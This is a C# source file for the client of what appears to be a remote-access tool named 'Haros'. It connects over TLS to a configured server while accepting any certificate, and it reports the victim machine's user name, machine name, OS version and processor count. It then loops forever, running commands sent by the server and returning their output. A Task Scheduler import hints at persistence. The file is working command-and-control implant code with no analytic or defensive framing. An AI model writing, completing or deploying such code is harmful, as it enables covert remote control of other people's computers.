using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net;
using System.Net.Security;
using System.Net.Sockets;
using System.Reflection;
using System.Security.Cryptography;
using System.Security.Cryptography.X509Certificates;
using System.Text;
using System.Threading;

using Microsoft.Win32.TaskScheduler;

using HarosClient.Commands;

namespace HarosClient
{
    public class Client
    {
        private TcpClient client;
        private StreamReader reader;
        private StreamWriter writer;

        public Dictionary<string, ICommand> Commands { get; private set; }

        public static bool ValidateCert(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors)
        {
            return true; // Allow untrusted certificates.
        }

        public Client(HarosConfig config)
        {
            Commands = new Dictionary<string, ICommand>();
            Config = config;

            client = new TcpClient(config.Server, config.Port);
            SslStream ssl = new SslStream(client.GetStream(), false, new RemoteCertificateValidationCallback(ValidateCert));
            ssl.AuthenticateAsClient("haros");
            reader = new StreamReader(ssl);
            writer = new StreamWriter(ssl);

            writeID();

            foreach (string cmd in config.OnConnectCommands)
                ProcessCommand(cmd);
        }

        public HarosConfig Config { get; private set; }

        public void Start()
        {
            GatherICommands(Assembly.GetExecutingAssembly());

            while (true)
                write(ProcessCommand(read()));
        }

        public void Stop()
        {
            client.Close();
        }

        public string ProcessCommand(string line)
        {
            string[] parts = line.Split(' ');
            string[] args = parts.Skip(1).ToArray();
            string cmd = parts[0];
            StringBuilder output = new StringBuilder();
            try
            {
                if (Commands.ContainsKey(cmd))
                    Commands[cmd].Invoke(this, output, args);
                else
                    output.AppendFormat("No such command {0}", cmd);
            }
            catch (Exception ex)
            {
                output.AppendFormat("{0} failed! Reason: {1}", cmd, ex.ToString());
            }
            return output.ToString() + '\0';
        }

        public void GatherICommands(Assembly assembly)
        {
            foreach (var type in assembly.GetTypes())
            {
                if (type.GetInterface(typeof(ICommand).FullName) != null)
                {
                    var command = (ICommand)Activator.CreateInstance(type);
                    Commands.Add(command.Name, command);
                }
            }
        }

        private void writeID()
        {
            StringBuilder sb = new StringBuilder();
            sb.Append(Environment.UserName);
            sb.Append(Environment.MachineName);
            sb.Append(Environment.OSVersion);
            sb.Append(Environment.ProcessorCount);

            write(sb.ToString());
        }

        private string read()
        {
            return reader.ReadLine();
        }
        private void write(string str)
        {
            writer.Write(str);
            writer.Write("\r\n");
            writer.Flush();
        }

        private int countChars(StringBuilder str, char c)
        {
            int count = 0;
            foreach (char d in str.ToString())
                if (d == c)
                    count++;
            return count;
        }
    }
}